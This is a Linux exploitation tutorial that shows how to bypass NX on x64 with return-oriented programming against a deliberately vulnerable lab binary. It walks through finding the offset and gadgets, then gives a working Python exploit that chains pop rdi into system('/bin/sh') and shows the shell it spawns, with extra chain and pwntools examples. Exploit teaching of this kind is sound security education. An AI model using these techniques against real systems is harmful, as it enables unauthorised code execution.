# Bypassing NX with ROP on x64 Linux

> Use Return-Oriented Programming to bypass NX protection on 64-bit Linux, chaining gadgets to call system() with /bin/sh.

- Published: 2025-09-25
- Difficulty: advanced
- Series: Linux Exploitation Fundamentals
- Tags: Linux, Exploit Development, ROP, x64, NX Bypass
- Source: https://stevenfoerster.com/tutorials/bypassing-nx-with-rop-x64/

## Prerequisites

- Understanding of x64 calling conventions
- Familiarity with ROP concepts
- Previous buffer overflow experience
- Knowledge of PLT/GOT

When NX (No-Execute) is enabled, we cannot execute shellcode on the stack. Return-Oriented Programming (ROP) bypasses this by chaining existing code snippets called "gadgets" to perform arbitrary operations.

The [Exploit Chain Visualizer](https://stevenfoerster.com/lab/exploit-chain/) maps the five stages from vulnerability discovery through code execution, and shows where NX, stack canaries, and ASLR intervene, useful context for understanding why ROP is necessary.

> [!note] Lab Setup
> This tutorial uses the `bypass_nx` binary from the [Linux Exploitation Lab](https://gitlab.com/sfoerster/linux-tutorial-tools/) (`05-rop-x64/`). See the [setup guide](https://stevenfoerster.com/tutorials/linux-exploitation-lab-setup/) for build instructions.
>
> Disable ASLR before starting: `echo 0 | sudo tee /proc/sys/kernel/randomize_va_space`
> Re-enable when done: `echo 2 | sudo tee /proc/sys/kernel/randomize_va_space`

## Understanding the Constraints

With NX enabled, the stack is not executable. We need to:

1. Find useful gadgets in the binary
2. Chain them to set up a call to `system("/bin/sh")`
3. Use the x64 calling convention (first argument in RDI)

## Initial Analysis

### Finding the Offset

```text
gdb -q ./bypass_nx
gdb-peda$ pattern create 1000 p1000.txt
gdb-peda$ run < p1000.txt
```

Locate RSP's contents after the crash:

```text
gdb-peda$ pattern offset A7AAMAAiAA8A
A7AAMAAiAA8A found at offset: 104
```

Alternatively, from RBP:

```text
gdb-peda$ pattern offset 0x416841414c414136
found at offset: 96
```

RIP offset = 96 + 8 = **104 bytes**

## Finding ROP Gadgets

Use ROPgadget to find useful instructions:

```bash
ROPgadget --binary ./bypass_nx --only "pop|ret"
```

```text
Gadgets information
============================================================
0x0000000000400693 : pop rdi ; ret
0x0000000000400691 : pop rsi ; pop r15 ; ret
0x0000000000400520 : pop rbp ; ret
0x0000000000400451 : ret
```

The key gadget is `pop rdi; ret` at `0x400693`. This lets us load a value into RDI (the first argument register).

## Finding Required Addresses

### Locating /bin/sh

```text
gdb-peda$ find /bin/sh
Searching for '/bin/sh' in: None ranges
Found 3 results, display max 3 items:
bypass_nx : 0x4006e8 --> 0x68732f6e69622f ('/bin/sh')
bypass_nx : 0x6006e8 --> 0x68732f6e69622f ('/bin/sh')
     libc : 0x7ffff7b99d57 --> 0x68732f6e69622f ('/bin/sh')
```

Use the binary's copy: `0x4006e8` (doesn't change with ASLR)

### Finding system()

```text
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0x7ffff7a52390 <__libc_system>
```

> **Note**: This address is from libc and will be randomized with ASLR. For this example, we assume ASLR is disabled or we're using a fixed environment.

## Building the ROP Chain

### The Chain Logic

```text
1. pop rdi; ret     - Pops next value into RDI
2. "/bin/sh" addr   - Address of the string, goes into RDI
3. system()         - Calls system() with RDI as argument
```

### Exploit Code

```python
#!/usr/bin/env python3
from struct import pack

buf = b""
buf += b"A"*104                             # Junk to reach RIP

# Gadget: pop rdi; ret
buf += pack("<Q", 0x0000000000400693)

# Argument: pointer to "/bin/sh"
buf += pack("<Q", 0x00000000004006e8)

# Call system()
buf += pack("<Q", 0x00007ffff7a52390)

f = open("payload.txt", "wb")
f.write(buf)
```

### Execution

The `cat` command keeps stdin open after the payload is sent. Without it, the pipe would close and the spawned shell would exit immediately with no input to read.

```bash
(cat payload.txt; cat) | ./bypass_nx
Try invoking /bin/sh
Read 128 bytes. buf is AAAAAAAAAAAA...
Try smarter
id
uid=1000(xdev) gid=1000(xdev) groups=1000(xdev)
```

## ROP Chain Visualization

```text
Stack Layout After Overflow:

Lower addresses
    |                    |
    | "A" * 104          |  <- Junk buffer
    |--------------------|
    | 0x400693           |  <- pop rdi; ret (overwrites saved RIP)
    |--------------------|
    | 0x4006e8           |  <- "/bin/sh" pointer (popped into RDI)
    |--------------------|
    | 0x7ffff7a52390     |  <- system() (ret jumps here)
    |                    |
Higher addresses

Execution flow:
1. Function returns, pops 0x400693 into RIP
2. `pop rdi` loads 0x4006e8 into RDI
3. `ret` pops 0x7ffff7a52390 into RIP
4. system() executes with RDI = "/bin/sh"
```

## Handling ASLR

If ASLR is enabled, libc addresses are randomized. Solutions:

### Option 1: Leak libc Address

Use a technique similar to ret2libc on x86:

1. Call `puts@plt(puts@got)` to leak the address
2. Calculate libc base
3. Return to main and exploit again

### Option 2: Use Binary's Own Functions

If the binary has `system@plt`, use it instead:

```text
gdb-peda$ x/3i system@plt
0x400450 <system@plt>: jmp    QWORD PTR [rip+0x200bc2]
```

PLT addresses are fixed (no PIE).

## Stack Alignment

x64 System V ABI requires 16-byte stack alignment before `call` instructions. If system() crashes:

Add a single `ret` gadget before system() to align the stack. The extra `ret` gadget adjusts stack alignment. The System V AMD64 ABI requires RSP to be 16-byte aligned before a `call` instruction. Since we arrive at `system()` via a `ret` (not a `call`), the stack may be misaligned by 8 bytes. The additional `ret` pops 8 bytes off the stack, restoring 16-byte alignment and preventing crashes in SSE instructions inside libc.

```python
buf += pack("<Q", 0x0000000000400451)  # ret (stack alignment)
buf += pack("<Q", 0x00007ffff7a52390)  # system()
```

## Advanced: Multi-Gadget Chains

For more complex operations, chain multiple gadgets:

```python
# Example: Write value to memory
# Gadgets needed:
#   pop rdi; ret
#   pop rsi; pop r15; ret
#   mov [rdi], rsi; ret  (if available)

buf = b"A"*104
buf += pack("<Q", pop_rdi)
buf += pack("<Q", target_address)
buf += pack("<Q", pop_rsi_r15)
buf += pack("<Q", value_to_write)
buf += pack("<Q", 0)  # Junk for r15
buf += pack("<Q", mov_gadget)
```

```text
Multi-Gadget Chain on the Stack:

Low addr
  +---------------------------+
  |  "A" * 104  (junk)        |
  +---------------------------+ <-- saved RIP
  |  pop rdi; ret             | gadget 1
  +---------------------------+
  |  target_address           |   -> RDI
  +---------------------------+
  |  pop rsi; pop r15; ret    | gadget 2
  +---------------------------+
  |  value_to_write           |   -> RSI
  +---------------------------+
  |  0x0 (junk for r15)       |   -> R15
  +---------------------------+
  |  mov [rdi], rsi; ret      | gadget 3
  +---------------------------+
  |  next gadget or function  | ...
  +---------------------------+
High addr

Execution order:
  gadget 1 -> gadget 2 -> gadget 3
  Each "ret" pops the next address
  into RIP, continuing the chain.
```

## Tools for ROP

### ROPgadget

```bash
# All gadgets
ROPgadget --binary ./target

# Specific gadgets
ROPgadget --binary ./target --only "pop|ret"
ROPgadget --binary ./target --only "mov|ret"

# Search for strings
ROPgadget --binary ./target --string "/bin/sh"
```

### Ropper

```bash
ropper --file ./target --search "pop rdi"
```

### pwntools

```python
from pwn import *

elf = ELF('./target')
rop = ROP(elf)

# Find gadgets automatically
rop.call('system', [next(elf.search(b'/bin/sh'))])
print(rop.dump())
```

## Key Takeaways

1. Gadgets end in `ret`, which allows chaining to the next gadget.
2. x64 passes arguments via registers: RDI, RSI, RDX for the first three.
3. Stack alignment matters, so add padding `ret` gadgets if needed.
4. PIE complicates things; without it, binary addresses are fixed.
5. ASLR affects libc, so leak addresses or use PLT entries.
